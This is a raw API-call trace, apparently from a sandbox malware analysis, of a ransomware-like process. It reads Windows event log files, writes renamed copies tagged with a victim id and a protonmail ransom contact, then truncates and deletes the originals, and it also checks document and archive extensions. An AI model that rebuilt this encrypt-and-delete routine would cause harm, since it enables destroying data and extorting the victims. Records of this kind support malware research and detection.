	[0075.843] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.843] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0075.843] CloseHandle (hObject=0x370) returned 1
	[0075.843] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20
	[0075.843] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.844] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.844] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.844] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.844] GetLastError () returned 0x0
	[0075.844] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.846] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.848] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.848] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x122, lpOverlapped=0x0) returned 1
	[0075.848] SetEndOfFile (hFile=0x390) returned 1
	[0075.849] CloseHandle (hObject=0x390) returned 1
	[0075.851] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.851] SetEndOfFile (hFile=0x370) returned 1
	[0075.852] CloseHandle (hObject=0x370) returned 1
	[0075.852] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.852] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1
	[0075.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.852] lstrlenW (lpString=".doc") returned 4
	[0075.853] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".docx") returned 5
	[0075.853] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.853] lstrlenW (lpString=".pdf") returned 4
	[0075.853] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".xls") returned 4
	[0075.853] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".xlsx") returned 5
	[0075.853] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.853] lstrlenW (lpString=".ppt") returned 4
	[0075.853] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString=".zip") returned 4
	[0075.853] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".rar") returned 4
	[0075.853] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".bz2") returned 4
	[0075.853] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString=".7z") returned 3
	[0075.853] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString=".dbf") returned 4
	[0075.853] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString=".1cd") returned 4
	[0075.853] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString=".jpg") returned 4
	[0075.853] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.853] lstrlenW (lpString=".doc") returned 4
	[0075.854] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".docx") returned 5
	[0075.854] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.854] lstrlenW (lpString=".pdf") returned 4
	[0075.854] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".xls") returned 4
	[0075.854] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".xlsx") returned 5
	[0075.854] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.854] lstrlenW (lpString=".ppt") returned 4
	[0075.854] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.854] lstrlenW (lpString=".zip") returned 4
	[0075.854] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".rar") returned 4
	[0075.854] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".bz2") returned 4
	[0075.854] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString=".7z") returned 3
	[0075.854] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.854] lstrlenW (lpString=".dbf") returned 4
	[0075.854] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.854] lstrlenW (lpString=".1cd") returned 4
	[0075.854] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.854] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx") returned 47
	[0075.854] lstrlenW (lpString=".jpg") returned 4
	[0075.854] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.855] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.855] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40
	[0075.855] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.855] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0075.855] CloseHandle (hObject=0x370) returned 1
	[0075.856] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0075.856] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.856] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.856] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.856] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.856] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.856] GetLastError () returned 0x0
	[0075.856] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.859] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.861] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.861] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x124, lpOverlapped=0x0) returned 1
	[0075.861] SetEndOfFile (hFile=0x390) returned 1
	[0075.861] CloseHandle (hObject=0x390) returned 1
	[0075.863] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.863] SetEndOfFile (hFile=0x370) returned 1
	[0075.864] CloseHandle (hObject=0x370) returned 1
	[0075.864] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.865] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1
	[0075.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.865] lstrlenW (lpString=".doc") returned 4
	[0075.865] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".docx") returned 5
	[0075.865] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.865] lstrlenW (lpString=".pdf") returned 4
	[0075.865] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".xls") returned 4
	[0075.865] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".xlsx") returned 5
	[0075.865] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.865] lstrlenW (lpString=".ppt") returned 4
	[0075.865] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.865] lstrlenW (lpString=".zip") returned 4
	[0075.865] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".rar") returned 4
	[0075.865] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".bz2") returned 4
	[0075.865] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.865] lstrlenW (lpString=".7z") returned 3
	[0075.865] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString=".dbf") returned 4
	[0075.866] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString=".1cd") returned 4
	[0075.866] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString=".jpg") returned 4
	[0075.866] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString=".doc") returned 4
	[0075.866] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".docx") returned 5
	[0075.866] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.866] lstrlenW (lpString=".pdf") returned 4
	[0075.866] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".xls") returned 4
	[0075.866] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".xlsx") returned 5
	[0075.866] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.866] lstrlenW (lpString=".ppt") returned 4
	[0075.866] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.866] lstrlenW (lpString=".zip") returned 4
	[0075.866] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".rar") returned 4
	[0075.866] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".bz2") returned 4
	[0075.866] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.866] lstrlenW (lpString=".7z") returned 3
	[0075.866] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.867] lstrlenW (lpString=".dbf") returned 4
	[0075.867] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.867] lstrlenW (lpString=".1cd") returned 4
	[0075.867] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.867] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0075.867] lstrlenW (lpString=".jpg") returned 4
	[0075.867] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.867] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.867] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50
	[0075.867] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.867] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0075.867] CloseHandle (hObject=0x370) returned 1
	[0075.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0075.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.868] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.868] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0075.868] GetLastError () returned 0x0
	[0075.868] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.207] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.209] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.209] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x138, lpOverlapped=0x0) returned 1
	[0076.209] SetEndOfFile (hFile=0x390) returned 1
	[0076.209] CloseHandle (hObject=0x390) returned 1
	[0076.211] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.211] SetEndOfFile (hFile=0x370) returned 1
	[0076.213] CloseHandle (hObject=0x370) returned 1
	[0076.213] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.213] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1
	[0076.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.213] lstrlenW (lpString=".doc") returned 4
	[0076.213] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.213] lstrlenW (lpString=".docx") returned 5
	[0076.213] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.213] lstrlenW (lpString=".pdf") returned 4
	[0076.213] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.213] lstrlenW (lpString=".xls") returned 4
	[0076.213] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.213] lstrlenW (lpString=".xlsx") returned 5
	[0076.213] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.214] lstrlenW (lpString=".ppt") returned 4
	[0076.214] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.214] lstrlenW (lpString=".zip") returned 4
	[0076.214] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString=".rar") returned 4
	[0076.214] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString=".bz2") returned 4
	[0076.214] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString=".7z") returned 3
	[0076.214] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.214] lstrlenW (lpString=".dbf") returned 4
	[0076.214] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.214] lstrlenW (lpString=".1cd") returned 4
	[0076.214] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.214] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.214] lstrlenW (lpString=".jpg") returned 4
	[0076.214] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString=".doc") returned 4
	[0076.215] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".docx") returned 5
	[0076.215] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.215] lstrlenW (lpString=".pdf") returned 4
	[0076.215] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".xls") returned 4
	[0076.215] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".xlsx") returned 5
	[0076.215] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.215] lstrlenW (lpString=".ppt") returned 4
	[0076.215] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString=".zip") returned 4
	[0076.215] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".rar") returned 4
	[0076.215] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".bz2") returned 4
	[0076.215] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString=".7z") returned 3
	[0076.215] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString=".dbf") returned 4
	[0076.215] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString=".1cd") returned 4
	[0076.215] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.215] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0076.215] lstrlenW (lpString=".jpg") returned 4
	[0076.215] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.216] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.216] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47
	[0076.216] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.216] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0076.216] CloseHandle (hObject=0x370) returned 1
	[0076.216] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0076.216] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.216] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.216] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.216] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
